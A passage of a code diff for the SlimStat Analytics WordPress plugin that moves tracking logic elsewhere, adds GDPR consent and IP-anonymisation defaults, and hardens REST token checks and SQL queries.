strtolower($geolocation_data['country']['iso_code']);\n-\n-                if (!empty($geolocation_data['city']['names']['en'])) {\n-                    self::$stat['city'] = $geolocation_data['city']['names']['en'];\n-                }\n-\n-                if (!empty($geolocation_data['subdivisions'][0]['iso_code']) && !empty(self::$stat['city'])) {\n-                    self::$stat['city'] .= ' (' . $geolocation_data['subdivisions'][0]['iso_code'] . ')';\n-                }\n-\n-                if (!empty($geolocation_data['location']['latitude']) && !empty($geolocation_data['location']['longitude'])) {\n-                    self::$stat['location'] = $geolocation_data['location']['latitude'] . ',' . $geolocation_data['location']['longitude'];\n-                }\n-            }\n-\n-            \u002F\u002F Is this country blacklisted?\n-            if (!empty(self::$stat['country']) && !empty(self::$settings['ignore_countries']) && false !== stripos(self::$settings['ignore_countries'], (string) self::$stat['country'])) {\n-                return false;\n-            }\n-        }\n-\n-        \u002F\u002F Mark or ignore Firefox\u002FSafari prefetching requests (X-Moz: Prefetch and X-purpose: Preview)\n-        if ((isset($_SERVER['HTTP_X_MOZ']) && ('prefetch' === strtolower($_SERVER['HTTP_X_MOZ']))) || (isset($_SERVER['HTTP_X_PURPOSE']) && ('preview' === strtolower($_SERVER['HTTP_X_PURPOSE'])))) {\n-            if ('on' == self::$settings['ignore_prefetch']) {\n-                return false;\n-            } else {\n-                self::$stat['notes'][] = 'pre:yes';\n-            }\n-        }\n-\n-        \u002F\u002F User Agent\n-        $browser = \\SlimStat\\Services\\Browscap::get_browser();\n-\n-        \u002F\u002F Are we ignoring bots?\n-        if ('on' == self::$settings['ignore_bots'] && 1 == $browser['browser_type']) {\n-            return false;\n-        }\n-\n-        \u002F\u002F Is this browser blacklisted?\n-        if (!empty(self::$settings['ignore_browsers']) && self::_is_blacklisted([$browser['browser'], $browser['user_agent']], self::$settings['ignore_browsers'])) {\n-            return false;\n-        }\n-\n-        \u002F\u002F Is this operating system blacklisted?\n-        if (!empty(self::$settings['ignore_platforms']) && self::_is_blacklisted($browser['platform'], self::$settings['ignore_platforms'])) {\n-            return false;\n-        }\n-\n-        self::$stat += $browser;\n-\n-        \u002F\u002F Do we need to assign a visit_id to this user?\n-        $cookie_has_been_set = self::_set_visit_id(false);\n-\n-        \u002F\u002F Allow third-party tools to modify all the data we've gathered so far\n-        self::$stat = apply_filters('slimstat_filter_pageview_stat', self::$stat);\n-        do_action('slimstat_track_pageview', self::$stat);\n-\n-        \u002F\u002F Third-party tools can decide that this pageview should not be tracked, by setting its datestamp to zero\n-        if (empty(self::$stat) || empty(self::$stat['dt'])) {\n-            return false;\n-        }\n-\n-        \u002F\u002F Implode the notes\n-        if (!empty(self::$stat['notes'])) {\n-            self::$stat['notes'] = '[' . implode('][', self::$stat['notes']) . ']';\n-        }\n-\n-        \u002F\u002F Remove empty values\n-        self::$stat = array_filter(self::$stat);\n-\n-        \u002F\u002F Save this information in the database\n-        self::$stat['id'] = self::_insert_row(self::$stat, $GLOBALS['wpdb']->prefix . 'slim_stats');\n-\n-        \u002F\u002F Did something go wrong during the insert?\n-        if (empty(self::$stat['id'])) {\n-\n-            \u002F\u002F Attempt to init the environment (plugin just activated on a blog in a MU network?)\n-            include_once(plugin_dir_path(__FILE__) . 'admin\u002Findex.php');\n-            wp_slimstat_admin::init_environment();\n-\n-            \u002F\u002F Now let's try again\n-            self::$stat['id'] = self::_insert_row(self::$stat, $GLOBALS['wpdb']->prefix . 'slim_stats');\n-\n-            if (empty(self::$stat['id'])) {\n-                $error = self::_log_error(200);\n-                return false;\n-            }\n-        }\n-\n-        \u002F\u002F Does this visitor have a visit_id cookie?\n-        $set_cookie = apply_filters('slimstat_set_visit_cookie', (!empty(self::$settings['set_tracker_cookie']) && 'on' == self::$settings['set_tracker_cookie']));\n-        if ($set_cookie) {\n-            if (empty(self::$stat['visit_id']) && !empty(self::$stat['id'])) {\n-                \u002F\u002F Set a cookie to track this visit (Google and other non-human engines will just ignore it)\n-                @setcookie(\n-                    'slimstat_tracking_code',\n-                    self::_get_value_with_checksum(self::$stat['id'] . 'id'),\n-                    ['expires' => time() + 2678400, 'path' => COOKIEPATH]\n-                );\n-            } elseif (!$cookie_has_been_set && 'on' == self::$settings['extend_session'] && self::$stat['visit_id'] > 0) {\n-                @setcookie(\n-                    'slimstat_tracking_code',\n-                    self::_get_value_with_checksum(self::$stat['visit_id']),\n-                    ['expires' => time() + self::$settings['session_duration'], 'path' => COOKIEPATH]\n-                );\n-            }\n-        }\n-\n-        return self::$stat['id'];\n-    }\n-    \u002F\u002F end slimtrack\n-\n-    \u002F**\n      * Decodes the permalink\n      *\u002F\n     public static function get_request_uri()\n@@ -857,9 +397,6 @@\n         $as_column = '';\n         $s         = sprintf(\"\u003Cspan class='slimstat-item-separator'>%s\u003C\u002Fspan>\", $s);\n \n-        \u002F\u002F Load the localization files (for languages, operating systems, etc)\n-        load_plugin_textdomain('wp-slimstat', false, '\u002Fwp-slimstat\u002Flanguages');\n-\n         \u002F\u002F Look for required fields\n         if (empty($f) || empty($w)) {\n             return '\u003C!-- Slimstat Shortcode Error: missing parameter -->';\n@@ -1026,6 +563,7 @@\n \n     \u002F\u002F end slimstat_shortcode\n \n+\n     public static function init_plugin()\n     {\n         \u002F\u002F Include our browser detector library\n@@ -1033,6 +571,15 @@\n \n         \u002F\u002F Make sure the upload directory is exist and is protected.\n         self::create_upload_directory();\n+\n+        \u002F\u002F Ensure daily salt exists for IP hashing (GDPR compliance)\n+        \u002F\u002F This runs on every page load but only generates if missing\n+        \\SlimStat\\Providers\\IPHashProvider::generateDailySalt();\n+\n+        \u002F\u002F Initialize adblock bypass functionality\n+        \\SlimStat\\Tracker\\Tracker::rewrite_rule_tracker();\n+        add_action('template_redirect', [\\SlimStat\\Tracker\\Tracker::class, 'adblocker_javascript']);\n+        add_action('init', [\\SlimStat\\Tracker\\Tracker::class, 'rewrite_rule_tracker']);\n     }\n \n     \u002F**\n@@ -1112,7 +659,13 @@\n         if (empty($_request['token'])) {\n             return new WP_Error('rest_invalid', esc_html__('[REST API] Please use a valid token in order to access the REST API endpoint at this URL.', 'wp-slimstat'), ['status' => 400]);\n         }\n-        return in_array($_request['token'], self::string_to_array(self::$settings['rest_api_tokens']));\n+        $valid_tokens = self::string_to_array(self::$settings['rest_api_tokens']);\n+        foreach ($valid_tokens as $valid_token) {\n+            if (is_string($valid_token) && is_string($_request['token']) && hash_equals($valid_token, $_request['token'])) {\n+                return true;\n+            }\n+        }\n+        return false;\n     }\n     \u002F\u002F end rest_api_authorization\n \n@@ -1163,6 +716,33 @@\n     \u002F\u002F end string_to_array\n \n     \u002F**\n+     * Returns Matomo search engine mapping JSON, cached.\n+     *\u002F\n+    public static function get_search_engines()\n+    {\n+        static $cached_search_engines = null;\n+        if (null !== $cached_search_engines) {\n+            return $cached_search_engines;\n+        }\n+\n+        $data = get_transient('slimstat_matomo_searchengine');\n+        if (false === $data) {\n+            $json_path = plugin_dir_path(__FILE__) . 'admin\u002Fassets\u002Fdata\u002Fmatomo-searchengine.json';\n+            \u002F\u002F phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents -- Local plugin file, WP_Filesystem not needed\n+            $json      = @file_get_contents($json_path);\n+            $data      = json_decode($json, true);\n+            if (!is_array($data)) {\n+                $data = [];\n+            }\n+            set_transient('slimstat_matomo_searchengine', $data, WEEK_IN_SECONDS);\n+        }\n+\n+        $cached_search_engines = $data;\n+        return $cached_search_engines;\n+    }\n+    \u002F\u002F end get_search_engines\n+\n+    \u002F**\n      * Toggles WordPress filters on date_i18n function\n      *\u002F\n     public static function toggle_date_i18n_filters($_turn_on = true)\n@@ -1202,7 +782,7 @@\n     {\n         return [\n             'version'                => SLIMSTAT_ANALYTICS_VERSION,\n-            'secret'                 => wp_hash(uniqid(time(), true)),\n+            'secret'                 => wp_hash(wp_generate_password(64, true, true)),\n             'browscap_last_modified' => 0,\n \n             \u002F\u002F General\n@@ -1211,28 +791,40 @@\n             \u002F\u002F General - Tracker\n             'is_tracking'       => 'on',\n             'track_admin_pages' => 'no',\n-            'javascript_mode'   => 'on',\n+            'javascript_mode'   => 'off',  \u002F\u002F Changed: Enable server-side tracking by default\n \n             \u002F\u002F General - WordPress Integration\n             'add_dashboard_widgets'  => 'on',\n-            'use_separate_menu'      => 'no',\n+            'use_separate_menu'      => 'on',\n             'add_posts_column'       => 'no',\n             'posts_column_pageviews' => 'on',\n+            'display_notifications' => 'on',\n \n             \u002F\u002F General - Database\n-            'auto_purge'        => 0,\n+            'auto_purge'        => 420,\n             'auto_purge_delete' => 'on',\n \n             \u002F\u002F Tracker\n             \u002F\u002F -----------------------------------------------------------------------\n \n             \u002F\u002F Tracker - Data Protection\n-            'anonymize_ip'         => 'no',\n-            'set_tracker_cookie'   => 'on',\n-            'display_opt_out'      => 'no',\n-            'opt_out_cookie_names' => '',\n-            'opt_in_cookie_names'  => '',\n-            'opt_out_message'      => '\u003Cp style=\"display:block;position:fixed;left:0;bottom:0;margin:0;padding:1em 2em;background-color:#eee;width:100%;z-index:99999;\">This website stores cookies on your computer. These cookies are used to provide a more personalized experience and to track your whereabouts around our website in compliance with the European General Data Protection Regulation. If you decide to to opt-out of any future tracking, a cookie will be setup in your browser to remember this choice for one year.\u003Cbr>\u003Cbr>\u003Ca href=\"#\" onclick=\"javascript:SlimStat.optout(event, false);\">Accept\u003C\u002Fa> or \u003Ca href=\"#\" onclick=\"javascript:SlimStat.optout(event, true);\">Deny\u003C\u002Fa>\u003C\u002Fp>',\n+            \u002F\u002F anonymize_ip: mask IP before storing; hash_ip: generate daily visitor_id based on masked IP + UA\n+            'gdpr_enabled'             => 'on',   \u002F\u002F Changed: Enable GDPR by default for safety\n+            'anonymize_ip'             => 'on',   \u002F\u002F Changed: Anonymize IPs by default\n+            'hash_ip'                  => 'on',   \u002F\u002F Changed: Hash IPs by default\n+\t\t\t'set_tracker_cookie'       => 'off',  \u002F\u002F Changed: Don't set cookies by default (GDPR-safe)\n+\t\t\t'use_slimstat_banner'      => 'on',   \u002F\u002F Changed: Enable banner by default when GDPR is enabled\n+\t\t\t'consent_integration'      => 'slimstat_banner', \u002F\u002F Changed: Use SlimStat banner by default when GDPR is enabled\n+            'consent_level_integration'=> 'statistics',\n+\t\t\t'opt_out_message'          => '',\n+\t\t\t'gdpr_accept_button_text'  => __('Accept', 'wp-slimstat'),\n+\t\t\t'gdpr_decline_button_text' => __('Decline', 'wp-slimstat'),\n+            'gdpr_theme_mode'          => 'auto', \u002F\u002F 'light', 'dark', 'auto'\n+            'anonymous_tracking'       => 'off',   \u002F\u002F Changed: Enable anonymous tracking by default\n+            'do_not_track'             => 'off',\n+            'display_opt_out'          => 'no',\n+            'opt_out_cookie_names'     => '',\n+            'opt_in_cookie_names'      => '',\n \n             \u002F\u002F Tracker - Link Tracking\n             'track_same_domain_referers'             => 'no',\n@@ -1275,7 +867,7 @@\n             'mozcom_secret_key'                => '',\n             'show_complete_user_agent_tooltip' => 'no',\n             'async_load'                       => 'no',\n-            'limit_results'                    => '1000',\n+            'limit_results'                    => '200',\n             'enable_sov'                       => 'no',\n \n             \u002F\u002F Exclusions\n@@ -1319,7 +911,7 @@\n             'can_admin'            => '',\n \n             \u002F\u002F Access Control - REST API\n-            'rest_api_tokens' => wp_hash(uniqid(time() - 3600, true)),\n+            'rest_api_tokens' => wp_hash(wp_generate_password(64, true, true)),\n \n             \u002F\u002F Maintenance\n             \u002F\u002F -----------------------------------------------------------------------\n@@ -1336,7 +928,6 @@\n             'notice_browscap'    => 'on',\n             'notice_geolite'     => 'on',\n             'notice_caching'     => 'on',\n-            'notice_translate'   => 'on',\n \n             \u002F\u002F Network-wide Settings\n             'locked_options' => '',\n@@ -1365,17 +956,24 @@\n         \u002F\u002F Use the new unified tracking method setting\n         $method = self::$settings['tracking_request_method'] ?? 'rest';\n \n+        \u002F\u002F Handle legacy 'adblock' value (renamed to 'adblock_bypass' in v5.3.0)\n+        if ( 'adblock' === $method ) {\n+            $method = 'adblock_bypass';\n+        }\n+\n         \u002F\u002F Prepare URLs for all methods\n         $rest_url          = rest_url('slimstat\u002Fv1\u002Fhit');\n+\t\t$rest_base_url     = rest_url();\n         $ajax_url          = admin_url('admin-ajax.php');\n         $ajax_url_relative = admin_url('admin-ajax.php', 'relative');\n-        $adblock_hash      = md5(site_url() . 'slimstat_request' . SLIMSTAT_ANALYTICS_VERSION);\n+        $adblock_hash      = \\SlimStat\\Providers\\RestApiManager::getSecureAdblockHash();\n         $adblock_url       = home_url(sprintf('request\u002F%s\u002F', $adblock_hash));\n \n         \u002F\u002F Always provide all possible endpoints for fallback logic\n         $params = [\n             'transport'       => $method,\n             'ajaxurl_rest'    => $rest_url,\n+\t\t\t'resturl'         => $rest_base_url,\n             'ajaxurl_ajax'    => ('on' == self::$settings['ajax_relative_path']) ? $ajax_url_relative : $ajax_url,\n             'ajaxurl_adblock' => $adblock_url,\n         ];\n@@ -1387,8 +985,8 @@\n             $params['ajaxurl'] = ('on' == self::$settings['ajax_relative_path']) ? $ajax_url_relative : $ajax_url;\n         } elseif ('adblock_bypass' === $method) {\n             $params['ajaxurl'] = $adblock_url;\n-            \u002F\u002F Also set transport to 'adblock' for JS clarity\n-            $params['transport'] = 'adblock';\n+            \u002F\u002F Also set transport to 'adblock_bypass' for JS clarity\n+            $params['transport'] = 'adblock_bypass';\n         } else {\n             $params['ajaxurl'] = $rest_url;\n         }\n@@ -1400,37 +998,69 @@\n             $params['dnt'] = str_replace(' ', '', self::$settings['do_not_track_outbound_classes_rel_href']);\n         }\n \n-        if ('on' == self::$settings['display_opt_out']) {\n-            $params['oc'] = ['slimstat_optout_tracking'];\n-            if (!empty(self::$settings['opt_out_cookie_names'])) {\n-                foreach (self::string_to_array(self::$settings['opt_out_cookie_names']) as $a_cookie_pair) {\n-                    $params['oc'][] = substr($a_cookie_pair, 0, strpos($a_cookie_pair, '='));\n-                }\n-            }\n-            $params['oc'] = implode(',', $params['oc']);\n-        }\n+\t\t\u002F\u002F Internal GDPR banner is optionally available alongside CMP integrations.\n \n         if ('on' != self::$settings['javascript_mode']) {\n             if (empty(self::$stat['id']) || intval(self::$stat['id']) \u003C 0) {\n                 return false;\n             }\n-            $params['id'] = self::_get_value_with_checksum(intval(self::$stat['id']));\n+            $params['id'] = \\SlimStat\\Tracker\\Utils::getValueWithChecksum(intval(self::$stat['id']));\n         } else {\n-            $params['ci'] = self::_get_value_with_checksum(self::_base64_url_encode(serialize(self::_get_content_info())));\n+            $params['ci'] = \\SlimStat\\Tracker\\Utils::getValueWithChecksum(\\SlimStat\\Tracker\\Utils::base64UrlEncode(wp_json_encode(\\SlimStat\\Tracker\\Utils::getContentInfo())));\n         }\n \n         $params['wp_rest_nonce'] = wp_create_nonce('wp_rest');\n+        \u002F\u002F Expose consent\u002FDNT info to client\n+\t\t$params['wp_consent_integration'] = (self::$settings['consent_integration'] ?? '') === 'wp_consent_api' ? 'enabled' : 'disabled';\n+\t\t$params['consent_integration'] = self::$settings['consent_integration'] ?? '';\n+        $params['consent_level_integration'] = (self::$settings['consent_level_integration'] ?? 'statistics');\n+        $params['respect_dnt'] = self::$settings['do_not_track'] ?? 'off';\n+        $gdpr_enabled_setting = strtolower((string) (self::$settings['gdpr_enabled'] ?? 'on'));\n+        $params['gdpr_enabled'] = in_array($gdpr_enabled_setting, ['off', 'no', 'false', '0'], true) ? 'off' : 'on';\n+        $params['anonymous_tracking'] = self::$settings['anonymous_tracking'] ?? 'off';\n+        $params['anonymize_ip'] = self::$settings['anonymize_ip'] ?? 'no';\n+        $params['hash_ip'] = self::$settings['hash_ip'] ?? 'no';\n+        $params['set_tracker_cookie'] = self::$settings['set_tracker_cookie'] ?? 'on';\n+\t\t$params['use_slimstat_banner'] = self::$settings['use_slimstat_banner'] ?? 'off';\n+\n+\t\tif ('on' === $params['use_slimstat_banner']) {\n+\t\t\t\u002F\u002F Set GDPR consent endpoint based on tracking method\n+\t\t\tif ('rest' === $method) {\n+\t\t\t\t$params['gdpr_consent_endpoint'] = rest_url('slimstat\u002Fv1\u002Fgdpr\u002Fconsent');\n+\t\t\t} elseif ('ajax' === $method) {\n+\t\t\t\t$params['gdpr_consent_endpoint'] = ('on' == self::$settings['ajax_relative_path']) ? $ajax_url_relative : $ajax_url;\n+\t\t\t} elseif ('adblock_bypass' === $method) {\n+\t\t\t\t$params['gdpr_consent_endpoint'] = $adblock_url;\n+\t\t\t} else {\n+\t\t\t\t$params['gdpr_consent_endpoint'] = rest_url('slimstat\u002Fv1\u002Fgdpr\u002Fconsent');\n+\t\t\t}\n+\t\t\t$params['gdpr_cookie_name'] = \\SlimStat\\Services\\GDPRService::CONSENT_COOKIE_NAME;\n+\t\t\t$params['gdpr_cookie_path'] = defined('COOKIEPATH') ? COOKIEPATH : '\u002F';\n+\t\t\t$params['gdpr_consent_method'] = $method;\n+\t\t}\n \n         $params = apply_filters('slimstat_js_params', $params);\n \n+        \u002F\u002F Add dependencies for consent integrations (e.g., WP Consent API)\n+        $dependencies = [];\n+        if ((self::$settings['consent_integration'] ?? '') === 'wp_consent_api') {\n+            $dependencies[] = 'wp-consent-api';\n+        }\n+\n         \u002F\u002F Register the correct script for adblock bypass, CDN, or default\n+        $local_script_version = SLIMSTAT_ANALYTICS_VERSION;\n+        $local_script_path = plugin_dir_path(__FILE__) . 'wp-slimstat.min.js';\n+        if (file_exists($local_script_path)) {\n+            $local_script_version .= '.' . filemtime($local_script_path);\n+        }\n+\n         if ('adblock_bypass' === $method) {\n-            $hash = md5(site_url() . 'slimstat');\n-            wp_register_script('wp_slimstat', home_url(sprintf('\u002F%s.js\u002F', $hash)), [], SLIMSTAT_ANALYTICS_VERSION, true);\n+            $hash_js  = md5(site_url() . 'slimstat');\n+            wp_register_script('wp_slimstat', home_url(sprintf('\u002F%s.js\u002F', $hash_js)), $dependencies, SLIMSTAT_ANALYTICS_VERSION, true);\n         } elseif ('on' == self::$settings['enable_cdn']) {\n-            wp_register_script('wp_slimstat', 'https:\u002F\u002Fcdn.jsdelivr.net\u002Fwp\u002Fwp-slimstat\u002Ftags\u002F' . SLIMSTAT_ANALYTICS_VERSION . '\u002Fwp-slimstat.min.js', [], null, true);\n+            wp_register_script('wp_slimstat', 'https:\u002F\u002Fcdn.jsdelivr.net\u002Fwp\u002Fwp-slimstat\u002Ftags\u002F' . SLIMSTAT_ANALYTICS_VERSION . '\u002Fwp-slimstat.min.js', $dependencies, null, true);\n         } else {\n-            wp_register_script('wp_slimstat', plugins_url('\u002Fwp-slimstat.min.js', __FILE__), [], SLIMSTAT_ANALYTICS_VERSION, true);\n+            wp_register_script('wp_slimstat', plugins_url('\u002Fwp-slimstat.min.js', __FILE__), $dependencies, $local_script_version, true);\n         }\n \n         wp_enqueue_script('wp_slimstat');\n@@ -1448,11 +1078,56 @@\n         }\n \n         wp_localize_script('wp_slimstat', 'SlimStatParams', $params);\n+\n         return null;\n     }\n \n     \u002F\u002F end enqueue_tracker\n \n+\t\u002F**\n+\t * Enqueue assets for the internal SlimStat GDPR banner.\n+\t *\n+\t * @return void\n+\t *\u002F\n+\tpublic static function enqueue_gdpr_assets()\n+\t{\n+\t\tif ('on' !== (self::$settings['use_slimstat_banner'] ?? 'off')) {\n+\t\t\treturn;\n+\t\t}\n+\n+\t\twp_enqueue_style(\n+\t\t\t'wp_slimstat_gdpr_banner',\n+\t\t\tplugins_url('\u002Fassets\u002Fcss\u002Fgdpr-banner.css', __FILE__),\n+\t\t\t[],\n+\t\t\tSLIMSTAT_ANALYTICS_VERSION\n+\t\t);\n+\t}\n+\n+\t\u002F**\n+\t * Render the SlimStat GDPR banner markup.\n+\t *\n+\t * @return void\n+\t *\u002F\n+\tpublic static function render_gdpr_banner()\n+\t{\n+\t\tif ('on' !== (self::$settings['use_slimstat_banner'] ?? 'off')) {\n+\t\t\treturn;\n+\t\t}\n+\n+\t\tif (is_admin() && !wp_doing_ajax()) {\n+\t\t\treturn;\n+\t\t}\n+\n+\t\t$gdpr_service = new \\SlimStat\\Services\\GDPRService(self::$settings);\n+\t\t$banner_html  = $gdpr_service->getBannerHtml();\n+\n+\t\tif ('' === $banner_html) {\n+\t\t\treturn;\n+\t\t}\n+\n+\t\techo $banner_html; \u002F\u002F phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Sanitized in GDPRService\n+\t}\n+\n     public static function add_defer_to_script_tag($_tag, $_handle)\n     {\n         if ('wp_slimstat' === $_handle && false === stripos($_tag, 'defer')) {\n@@ -1473,77 +1148,137 @@\n             return;\n         }\n \n-        $days_ago = strtotime(self::date_i18n('Y-m-d H:i:s') . sprintf(' -%d days', $autopurge_interval));\n+        $days_ago             = strtotime(self::date_i18n('Y-m-d H:i:s') . sprintf(' -%d days', $autopurge_interval));\n+        $table_stats          = $GLOBALS['wpdb']->prefix . 'slim_stats';\n+        $table_stats_archive  = $GLOBALS['wpdb']->prefix . 'slim_stats_archive';\n+        $table_events         = $GLOBALS['wpdb']->prefix . 'slim_events';\n+        $table_events_archive = $GLOBALS['wpdb']->prefix . 'slim_events_archive';\n \n         \u002F\u002F Copy entries to the archive table, if needed\n         if ('no' != self::$settings['auto_purge_delete']) {\n-            $is_copy_done = self::$wpdb->query(\"\n-                INSERT INTO {$GLOBALS['wpdb']->prefix}slim_stats_archive (id, ip, other_ip, username, email, country, location, city, referer, resource, searchterms, notes, visit_id, server_latency, page_performance, browser, browser_version, browser_type, platform, language, fingerprint, user_agent, resolution, screen_width, screen_height, content_type, category, author, content_id, tz_offset, outbound_resource, dt_out, dt)\n-                SELECT id, ip, other_ip, username, email, country, location, city, referer, resource, searchterms, notes, visit_id, server_latency, page_performance, browser, browser_version, browser_type, platform, language, fingerprint, user_agent, resolution, screen_width, screen_height, content_type, category, author, content_id, tz_offset, outbound_resource, dt_out, dt\n-                FROM {$GLOBALS[ 'wpdb' ]->prefix}slim_stats\n-                WHERE dt \u003C {$days_ago}\");\n-\n+            \u002F\u002F Use Query builder for INSERT INTO ... SELECT ... with prepared statements\n+            $insert_sql   = self::$wpdb->prepare(\n+                \"INSERT INTO {$table_stats_archive} (id, ip, other_ip, username, email, country, location, city, referer, resource, searchterms, notes, visit_id, server_latency, page_performance, browser, browser_version, browser_type, platform, language, fingerprint, user_agent, resolution, screen_width, screen_height, content_type, category, author, content_id, tz_offset, outbound_resource, dt_out, dt) SELECT id, ip, other_ip, username, email, country, location, city, referer, resource, searchterms, notes, visit_id, server_latency, page_performance, browser, browser_version, browser_type, platform, language, fingerprint, user_agent, resolution, screen_width, screen_height, content_type, category, author, content_id, tz_offset, outbound_resource, dt_out, dt FROM {$table_stats} WHERE dt \u003C %d\",\n+                $days_ago\n+            );\n+            $is_copy_done = self::$wpdb->query($insert_sql);\n             if (false !== $is_copy_done) {\n-                self::$wpdb->query(sprintf('DELETE ts FROM %sslim_stats ts WHERE ts.dt \u003C %s', $GLOBALS[ 'wpdb' ]->prefix, $days_ago));\n+                \\SlimStat\\Utils\\Query::delete($table_stats)->where('dt', '\u003C', $days_ago)->execute();\n             }\n-\n-            $is_copy_done = self::$wpdb->query(\n-                \"\n-                INSERT INTO {$GLOBALS['wpdb']->prefix}slim_events_archive (type, event_description, notes, position, id, dt)\n-                SELECT type, event_description, notes, position, id, dt\n-                FROM {$GLOBALS[ 'wpdb' ]->prefix}slim_events\n-                WHERE dt \u003C {$days_ago}\"\n+            $insert_sql_events = self::$wpdb->prepare(\n+                \"INSERT INTO {$table_events_archive} (type, event_description, notes, position, id, dt) SELECT type, event_description, notes, position, id, dt FROM {$table_events} WHERE dt \u003C %d\",\n+                $days_ago\n             );\n-\n+            $is_copy_done      = self::$wpdb->query($insert_sql_events);\n             if (false !== $is_copy_done) {\n-                self::$wpdb->query(sprintf('DELETE te FROM %sslim_events te WHERE te.dt \u003C %s', $GLOBALS[ 'wpdb' ]->prefix, $days_ago));\n+                \\SlimStat\\Utils\\Query::delete($table_events)->where('dt', '\u003C', $days_ago)->execute();\n             }\n         } else {\n             \u002F\u002F Delete old entries\n-            self::$wpdb->query(sprintf('DELETE ts FROM %sslim_stats ts WHERE ts.dt \u003C %s', $GLOBALS[ 'wpdb' ]->prefix, $days_ago));\n-            self::$wpdb->query(sprintf('DELETE te FROM %sslim_events te WHERE te.dt \u003C %s', $GLOBALS[ 'wpdb' ]->prefix, $days_ago));\n+            \\SlimStat\\Utils\\Query::delete($table_stats)->where('dt', '\u003C', $days_ago)->execute();\n+            \\SlimStat\\Utils\\Query::delete($table_events)->where('dt', '\u003C', $days_ago)->execute();\n         }\n \n-        \u002F\u002F Optimize tables\n-        self::$wpdb->query(sprintf('OPTIMIZE TABLE %sslim_stats', $GLOBALS[ 'wpdb' ]->prefix));\n-        self::$wpdb->query(sprintf('OPTIMIZE TABLE %sslim_stats_archive', $GLOBALS[ 'wpdb' ]->prefix));\n-        self::$wpdb->query(sprintf('OPTIMIZE TABLE %sslim_events', $GLOBALS[ 'wpdb' ]->prefix));\n-        self::$wpdb->query(sprintf('OPTIMIZE TABLE %sslim_events_archive', $GLOBALS[ 'wpdb' ]->prefix));\n+        \u002F\u002F Optimize tables (keep as direct queries)\n+        self::$wpdb->query('OPTIMIZE TABLE ' . $table_stats);\n+        self::$wpdb->query('OPTIMIZE TABLE ' . $table_stats_archive);\n+        self::$wpdb->query('OPTIMIZE TABLE ' . $table_events);\n+        self::$wpdb->query('OPTIMIZE TABLE ' . $table_events_archive);\n     }\n \n     public static function wp_slimstat_update_geoip_database()\n     {\n-        $this_update = strtotime('first Tuesday of this month') + (86400 * 2);\n+        \u002F\u002F Calculate the most recent \"first Tuesday + 2 days\" that has already passed\n+        $this_month_update = strtotime('first Tuesday of this month') + (86400 * 2);\n+        $current_time = time();\n+\n+        \u002F\u002F If this month's update window hasn't arrived yet, use last month's window\n+        if ($current_time \u003C $this_month_update) {\n+            $this_update = strtotime('first Tuesday of last month') + (86400 * 2);\n+        } else {\n+            $this_update = $this_month_update;\n+        }\n+\n         $last_update = get_option('slimstat_last_geoip_dl', 0);\n         if ($last_update \u003C $this_update) {\n \n-            $geographicProvider = new \\SlimStat\\Services\\GeoService();\n+            \u002F\u002F Determine which geolocation provider to use\n+            $provider = self::$settings['geolocation_provider'] ?? 'dbip';\n+\n+            $geographicProvider = new \\SlimStat\\Services\\Geolocation\\GeolocationService($provider, []);\n \n             try {\n-                $geographicProvider\n-                    ->setEnableMaxmind(wp_slimstat::$settings['enable_maxmind'])\n-                    ->setUpdate(true)\n-                    ->setMaxmindLicense(wp_slimstat::$settings['maxmind_license_key'])\n-                    ->download();\n+                $geographicProvider->updateDatabase();\n \n                 \u002F\u002F Set the last update time\n-                $geographicProvider->updateLastUpdateTime(time());\n+                update_option('slimstat_last_geoip_dl', time());\n \n             } catch (\\Exception $e) {\n-                $geographicProvider->logError($e->getMessage());\n+                wp_slimstat::log('Geolocation database update failed: ' . $e->getMessage(), 'error');\n             }\n         }\n     }\n \n     \u002F**\n-     * Displays the opt-out box via Ajax request\n+     * Register privacy policy content for WordPress Privacy Tools\n+     *\n+     * @since 5.4.0\n      *\u002F\n-    public static function get_optout_html()\n+    public static function registerPrivacyPolicyContent()\n     {\n-        die(stripslashes(self::$settings['opt_out_message']));\n-    }\n+        if (!function_exists('wp_add_privacy_policy_content')) {\n+            return;\n+        }\n \n-    \u002F\u002F end get_optout_html\n+        $content = '\u003Ch2>' . __('SlimStat Analytics', 'wp-slimstat') . '\u003C\u002Fh2>';\n+        $content .= '\u003Cp>\u003Cstrong>' . __('What personal data we collect and why', 'wp-slimstat') . '\u003C\u002Fstrong>\u003C\u002Fp>';\n+        $content .= '\u003Cp>' . __('SlimStat Analytics collects the following data about website visitors:', 'wp-slimstat') . '\u003C\u002Fp>';\n+        $content .= '\u003Cul>';\n+        $content .= '\u003Cli>' . __('IP Address: Collected for analytics and security purposes. May be anonymized or hashed based on your privacy settings.', 'wp-slimstat') . '\u003C\u002Fli>';\n+        $content .= '\u003Cli>' . __('Page URLs: Tracks which pages are visited to analyze website usage.', 'wp-slimstat') . '\u003C\u002Fli>';\n+        $content .= '\u003Cli>' . __('Referrer Information: Tracks where visitors came from (search engines, other websites, etc.).', 'wp-slimstat') . '\u003C\u002Fli>';\n+        $content .= '\u003Cli>' . __('Browser and Device Information: User agent, screen resolution, and device type for analytics.', 'wp-slimstat') . '\u003C\u002Fli>';\n+        $content .= '\u003Cli>' . __('Timestamp: Date and time of each page visit.', 'wp-slimstat') . '\u003C\u002Fli>';\n+\n+        if ('on' === (self::$settings['set_tracker_cookie'] ?? 'off')) {\n+            $content .= '\u003Cli>' . __('Cookies: A tracking cookie is used to identify returning visitors and maintain session continuity.', 'wp-slimstat') . '\u003C\u002Fli>';\n+        }\n+\n+        if ('on' !== (self::$settings['ignore_wp_users'] ?? 'off')) {\n+            $content .= '\u003Cli>' . __('User Information: If you are logged in, your username and email may be associated with your visits (only with consent when GDPR mode is enabled).', 'wp-slimstat') . '\u003C\u002Fli>';\n+        }\n+\n+        $content .= '\u003C\u002Ful>';\n+\n+        $content .= '\u003Cp>\u003Cstrong>' . __('How long we retain your data', 'wp-slimstat') . '\u003C\u002Fstrong>\u003C\u002Fp>';\n+        $retention_days = intval(self::$settings['auto_purge'] ?? 420);\n+        if ($retention_days > 0) {\n+            $content .= '\u003Cp>' . sprintf(__('Analytics data is automatically deleted after %d days, in compliance with GDPR data retention requirements.', 'wp-slimstat'), $retention_days) . '\u003C\u002Fp>';\n+        } else {\n+            $content .= '\u003Cp>' . __('Analytics data retention is currently disabled. Please contact the site administrator for information about data retention policies.', 'wp-slimstat') . '\u003C\u002Fp>';\n+        }\n+\n+        $content .= '\u003Cp>\u003Cstrong>' . __('Your rights', 'wp-slimstat') . 